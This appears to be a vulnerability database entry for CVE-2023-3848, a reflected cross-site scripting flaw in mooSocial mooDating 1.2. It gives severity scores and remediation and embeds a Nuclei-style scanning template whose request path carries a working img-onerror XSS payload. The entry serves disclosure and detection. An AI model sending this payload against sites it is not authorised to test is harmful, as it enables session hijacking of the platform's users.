SecurityContext

CVE-2023-3848: MooDating 1.2 - Cross-site scripting

Classification

  • Cwe: CWE-79
  • Cvss score: 6.1
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Epss score: 0.05955
  • Epss percentile: 0.93463
  • Cpe: cpe:2.3:a:moosocial:moodating:1.2:*:*:*:*:*:*:*

Metadata

  • Max-request: 1
  • Product: moodating
  • Vendor: moosocial
  • Verified: yes

Products

ProductIndexedUrl
moosocial:moodatingyes/v1/products/moosocial/moodating

Labels

  • Name: mooSocial mooDating - Reflected XSS
  • Impact: Attackers can execute arbitrary scripts in the victim's browser, leading to session hijacking or defacement.
  • Remediation: Apply the latest security patches or update to the latest version of mooSocial mooDating.
  • Vulnerability type: reflected_xss
  • Vulnerability impact: client_script_exec
  • Requirement type: user_interaction
  • Requirements: Victim needs to load or interact with malicious link
  • Labels source: projectdiscovery
  • From cve: CVE-2023-3848

```yaml

id: CVE-2023-3848

info:

name: MooDating 1.2 - Cross-site scripting

author: r3Y3r53

severity: medium

description: |

A vulnerability, which was classified as problematic, has been found in mooSocial mooDating 1.2. This issue affects some unknown processing of the file /users/view of the component URL Handler. The manipulation leads to cross site scripting. The attack may be initiated remotely.

impact: |

Unauthenticated attackers can inject malicious JavaScript through URL parameters in the users/view endpoint to steal dating platform user session cookies and access personal profile information.

remediation: |

Update mooSocial mooDating to a version newer than 1.2 that properly sanitizes and encodes URL parameters in the users component.

reference:

- https://packetstormsecurity.com/files/173691/mooDating-1.2-Cross-Site-Scripting.html

- https://nvd.nist.gov/vuln/detail/CVE-2023-3848

- https://vuldb.com/?ctiid.235199

- https://vuldb.com/?id.235199

- https://github.com/fkie-cad/nvd-json-data-feeds

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

cvss-score: 6.1

cve-id: CVE-2023-3848

cwe-id: CWE-79

epss-score: 0.05955

epss-percentile: 0.93463

cpe: cpe:2.3:a:moosocial:moodating:1.2:*:*:*:*:*:*:*

metadata:

verified: true

max-request: 1

vendor: moosocial

product: moodating

tags: cve2023,cve,packetstorm,xss,moodating,moosocial,vuln

http:

- method: GET

path:

- '{{BaseURL}}/users/viewi1omd"><img%20src%3da%20onerror%3dalert(document.domain)>l43yn/108?tab=activity'

matchers:

- type: dsl

dsl:

- 'status_code == 404'

- 'contains(content_type, "text/html")'

- 'contains_all(body, "<img src=a onerror=alert(document.domain)>", "mooDating")'

condition: and

digest: 490a00463044022043205d50f5bafbbadc2129bdccc3bcbb37671925f37bf8c32ce6ee57c2a5bbe6022066f5a921340a45c57763b1012a31d6d9cdb9166fdb9d25613cbd437436fde80d:922c64590222798bb761d5b6d8e72950

```